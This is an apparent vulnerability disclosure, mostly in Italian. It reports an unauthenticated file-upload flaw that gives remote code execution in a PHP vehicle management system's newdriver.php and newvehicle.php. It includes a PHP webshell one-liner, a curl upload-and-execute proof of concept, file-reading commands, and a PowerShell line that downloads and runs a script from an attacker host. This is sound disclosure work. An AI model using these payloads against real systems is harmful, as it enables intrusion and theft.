
| Field | Details |
|---|---|
| Product | Vehicle Management System In PHP |
| Vendor | code-projects.org |
| Version | V1.0 |
| Vulnerability Type | Caricamento di file senza restrizioni che porta all'esecuzione remota di codice (CWE-434) |
| Files Affected | newdriver.php, newvehicle.php |
| Parameter | photo (POST, multipart/form-data) |
| Authentication Required | No (non autenticata) |
| CVSS Score | 10.0 Critical |
| Attack Vector | Remoto / Rete |
| Privileges Required | Nessuno |
| User Interaction | Nessuna |
Il Vehicle Management System In PHP V1.0 di code-projects.org è vulnerabile all'esecuzione remota di codice non autenticata tramite caricamento di file senza restrizioni in newdriver.php (e identicamente in newvehicle.php).
L'applicazione espone un modulo di registrazione "New Driver" riservato all'amministratore all'indirizzo newdriver.php che include un campo per il caricamento della foto. Tuttavia, l'endpoint non esegue alcuna validazione della sessione — qualsiasi attaccante non autenticato può accedervi direttamente senza essere reindirizzato al login. Inoltre, il campo di caricamento della foto accetta qualsiasi tipo di file, inclusi i file PHP, senza filtro sull'estensione, validazione del tipo MIME o ispezione del contenuto.
Un attaccante può:
newdriver.php senza alcuna sessione o credenziale/picture/Ciò comporta l'esecuzione remota di codice completa con i privilegi del processo del server web.
Unauthenticated HTTP Request
↓
newdriver.php (no session check)
↓
photo field accepts .php file (no file type validation)
↓
Shell saved to /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — arbitrary OS command execution
Aprire un browser pulito senza sessione (finestra di navigazione in incognito/privata). Navigare direttamente all'endpoint:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
Il modulo New Driver viene caricato correttamente senza alcun controllo di autenticazione e senza reindirizzamento al login.
Creare una semplice webshell PHP per l'esecuzione di comandi:
<?php system($_GET['cmd']); ?>
Salvarla come shell.php (o qualsiasi nome file .php).
Compilare i campi del modulo del conducente con valori arbitrari e selezionare la webshell PHP come caricamento della foto:
Driver Name: test
Mobile: 1234567890
Driver Joining Date: 2026-05-19
National ID: test
License No: test
License End Date: 2026-05-30
Driver Address: test
Photo: shell.php ← PHP webshell uploaded here
Fare clic su Submit Query.
L'applicazione risponde con "Registration Completed!" — confermando che la shell PHP è stata accettata e salvata senza alcuna validazione.
Navigare fino alla shell caricata nella directory /picture/ e passare comandi del sistema operativo tramite il parametro cmd:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
Il server esegue il comando e restituisce l'output:
desktop-g1i9np3\dell
# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
La stessa identica vulnerabilità esiste in newvehicle.php. Un attaccante non autenticato può accedere al modulo Add New Vehicle, caricare una webshell PHP tramite il campo della foto del veicolo e ottenere l'esecuzione remota di codice con lo stesso metodo.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Entrambi gli endpoint condividono la stessa causa principale: nessuna validazione della sessione e nessuna restrizione sul caricamento dei file.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php e newvehicle.php sono entrambi vulnerabili| File | Campo di caricamento | Percorso di archiviazione della shell |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Ricercatore indipendente di sicurezza